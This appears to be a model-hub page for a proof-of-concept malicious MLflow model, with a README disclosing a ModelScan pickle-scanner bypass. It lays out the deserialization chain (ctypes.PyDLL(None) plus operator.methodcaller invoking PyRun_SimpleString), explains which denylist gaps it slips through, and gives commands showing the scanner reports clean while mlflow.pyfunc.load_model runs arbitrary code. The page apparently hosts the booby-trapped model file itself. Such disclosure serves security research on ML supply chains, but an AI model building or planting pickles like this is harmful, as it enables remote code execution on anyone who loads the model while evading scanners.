ModelScan MLflow PyDLL Bypass β€” RCE via ctypes.PyDLL + operator.methodcaller

Summary

ModelScan's pickle scanner uses an unsafe_globals denylist. Two critical modules are not blocked: ctypes.PyDLL and operator.methodcaller. This MLflow model exploits that gap.

This is the same PyDLL technique repackaged as an MLflow model (.pkl + MLmodel metadata). ModelScan reports 0 Issues. Loading via mlflow.pyfunc.load_model() triggers arbitrary code execution through CPython's C API.

Attack Chain

The pickle file uses only two STACK_GLOBAL opcodes:

  1. ctypes.PyDLL β†’ Gets CPython's dynamic library loader (NOT in unsafe_globals)
  2. operator.methodcaller β†’ Gets method caller (NOT blocked; only attrgetter is)

Deserialization chain:

ctypes.PyDLL(None)                           β†’ Opens current Python process
operator.methodcaller('PyRun_SimpleString', code) β†’ Builds callable
methodcaller(dll)                            β†’ Calls PyRun_SimpleString(arbitrary_code)
                                              β†’ Arbitrary code execution via CPython C API

Verify

# 1. ModelScan says CLEAN
modelscan -p model.pkl
# Output: No issues found! πŸŽ‰

# 2. MLflow load triggers RCE
python3 -c "
import mlflow.pyfunc
model = mlflow.pyfunc.load_model('.')
# PyRun_SimpleString executes before load_model returns
"

Why It Works

  • ctypes is NOT in ModelScan's unsafe_globals denylist (only os.*, sys.*, subprocess.*, builtins.* are)
  • operator.methodcaller is NOT blocked (only operator.attrgetter is)
  • PyRun_SimpleString is a CPython C API that directly executes source code at the C level, bypassing Python-level restrictions

Impact

  • Severity: Critical (CVSS 9.8)
  • Affected Format: MLflow models, all pickle-based formats
  • Works remotely via malicious model file download
  • No authentication or user interaction required
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support